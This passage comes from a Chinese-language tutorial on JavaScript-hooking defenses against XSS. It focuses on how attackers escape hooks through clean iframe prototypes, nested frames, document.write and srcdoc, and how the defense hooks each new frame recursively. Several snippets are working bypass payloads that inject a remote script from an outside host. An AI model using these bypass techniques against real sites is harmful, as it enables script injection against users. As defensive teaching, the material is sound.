新页面反射
  别高兴的太早,真正的难题还在后面呢。
  既然人家想破解,是会用尽各种手段的,并不局限于纯脚本。因为这是在网页里,攻击者们还可以呼唤出各种变幻莫测的浏览器功能,来躲避我们。
  简单的,是创建一个框架页面,然后通过 contentWindow 即可获得一个全新的环境:
  // 反射出纯净的接口
  var frm = document.createElement('iframe');
  document.body.appendChild(frm);
  var raw_fn = frm.contentWindow.Element.prototype.setAttribute;
  // 创建脚本
  var el = document.createElement('script');
  raw_fn.call(el, 'SRC', 'http://www.etherdream.com/xss/alert.js');
  document.body.appendChild(el);
  Run
  这时,我们的钩子程序被瞬间了。
  尽管同源页面之间是可以相互访问,但其所在的环境却是隔离的。子页面所有的一切都是独立的副本,完全不受主页面影响。
  不过,既然能够访问子页面,显然也能给它们的环境安装上钩子。每当有新的框架元素出现时,我们立即对其注入防护程序,让用户获取到的 contentWindow 已是带有钩子的。
  类似传统的应用程序,每当调用其他程序时,安全软件需将新创建的进程加以防护。
  你说会这很容易办到。将 createElement 方法勾住,然后在里面判断创建的是不是框架元素,如果是的话直接防护子页面,不可以了吗?
  显然,这是经不起实践的。事实上,只要测试下你会发现,未挂载到主节点的框架元素,contentWindow 始终是 null。也是说,必须在调用 appendChild 之后才开始初始化子页面。
  因此,我们得借助之前研究的节点挂载事件,找到一个能在 appendChild 之后,但在用户获取 contentWindow 之前触发的事件。

var observer = new MutationObserver(function(mutations) {
console.log('MutationObserver:', mutations);
});
observer.observe(document, {
subtree: true,
childList: true
});
document.addEventListener('DOMNodeInserted', function(e) {
console.log('DOMNodeInserted:', e);
}, true);
// 反射出纯净的接口
var frm = document.createElement('iframe');
console.warn('begin');
document.body.appendChild(frm);
console.warn('end');
var raw_fn = frm.contentWindow.Element.prototype.setAttribute;
/** 输出
begin
DOMNodeInserted  MutationEvent
end
MutationObserver:  Array[1]
MutationObserver:  Array[1]
*/
Run
  这不,DOMNodeInserted 能满足我们的需求。于是,我们使用它来监控框架元素。
  一旦发现有框架挂载到主节点上,我们赶紧把它的接口也装上钩子:
// 我们防御系统
(function() {
function installHook(window) {
// 保存上级接口
var raw_fn = window.Element.prototype.setAttribute;
// 勾住当前接口
window.Element.prototype.setAttribute = function(name, value) {
// 试试
alert(name);
// 向上调用
raw_fn.apply(this, arguments);
};
}
// 先保护当前页面
installHook(window);
document.addEventListener('DOMNodeInserted', function(e) {
var element = e.target;
// 给框架里环境也装个钩子
if (element.tagName == 'IFRAME') {
installHook(element.contentWindow);
}
}, true);
})();
// 反射出纯净的接口
var frm = document.createElement('iframe');
document.body.appendChild(frm);
var raw_fn = frm.contentWindow.Element.prototype.setAttribute;
// 创建脚本
var el = document.createElement('script');
raw_fn.call(el, 'SRC', 'http://www.etherdream.com/xss/alert.js');
document.body.appendChild(el);
Run
  完美!对话框成功弹出来了!即使从框架页里反射出新环境,仍然带有我们的钩子程序。
  不过,貌似还漏了些什么。要是从框架页里再套框架页,我们杯具了:
// 创建框架页
var frm = document.createElement('iframe');
document.body.appendChild(frm);
// 创建框架页的框架页
var doc = frm.contentDocument;
var frm2 = doc.createElement('iframe');
doc.body.appendChild(frm2);
// 反射接口
var raw_fn = frm2.contentWindow.Element.prototype.setAttribute;
// 创建脚本
var el = document.createElement('script');
raw_fn.call(el, 'SRC', 'http://www.etherdream.com/xss/alert.js');
document.body.appendChild(el);
Run

  前面说了,每个页面环境是独立的,主页面是捕捉不到子页面里的事件的。所以,框架页里创建元素,我们完全不知道。
  怎么破?这还不简单,索性给框架页也绑上 DOMNodeInserted 事件,不可以层层监控了吗。无论框架的几次方,都逃不过我们的火眼金睛了。

// 我们防御系统
(function() {
function installHook(window) {
// 保存上级接口
var raw_fn = window.Element.prototype.setAttribute;
// 勾住当前接口
window.Element.prototype.setAttribute = function(name, value) {
// 试试
alert(name);
// 向上调用
raw_fn.apply(this, arguments);
};
// 监控当前环境的元素
window.document.addEventListener('DOMNodeInserted', function(e) {
var element = e.target;
// 给框架里环境也装个钩子
if (element.tagName == 'IFRAME') {
installHook(element.contentWindow);
}
}, true);
}
// 先保护当前页面
installHook(window);
})();
Run
  只需简单的小改动。我们把 DOMNodeInserted 放到 installHook 里,这样在安装钩子的同时,也对当前 window 中的元素进行监控。一旦出现框架元素,递归防护。
  现在,我们的框架页监控已是天衣无缝了。
  新页面逆向控制
  不过,世上没有的事。
  我们只考虑了正向的反射,却忘了框架也可以逆向控制主页面。攻击者要是能把 XSS 脚本注入到框架页里,同样也可以向上修改主页面里的内容,发起信任攻击。
  在框架里引入脚本,方法更多了。框架元素虽然是动态创建的,但其内容可以静态呈现:
// 创建框架页
var frm = document.createElement('iframe');
document.body.appendChild(frm);
// 静态呈现
frm.contentDocument.write('<script src=http://www.etherdream.com/xss/alert.js></script>');
Run
这只是随便列举了一种。事实上,HTML5 还新增一个可以直接控制框架页内容的属性:srcdoc。
<iframe srcdoc="<script src=http://www.etherdream.com/xss/alert.js></script>"></iframe>
Run
并且还是在同源环境中执行的:
<iframe srcdoc="<script>parent.alert('call from frame')</script>"></iframe>
Run
  搞了半天结果还是能被绕过。
  不过别灰心,经测试,document.write 出来的内容是可以被 MutationObserver 捕获到的。至于 srcdoc 嘛,这个偏门的属性完全可以把它禁掉,或者重写访问器,把 HTML 内容用其他办法代理到页面上去。反正这又不是主流的用法,只要终效果一样没问题了。
  当然,要是在主页面里 document.write 怎么办?脚本确实能运行,但不白屏了吗。如果觉得这有风险,可以在 DOMContentLoaded 之后,把 document.write 也屏蔽掉,以免后患。
  后记
  虽说魔高一尺道高一丈,但再牢固的钩子还是有意想不到的办法绕过的。因此我们得与时俱进,不断修缮来强化防御能力。
  到目前为止,我们已对脚本、框架、API 接口实现了主动防御。但是,具备执行能力的元素并不止这些。
  例如 Flash 可以运行页面中的脚本,光是它占用了 object,embed,param 那么多元素。
  而且,API 防护钩子并不全面,只是例举了几个常用的。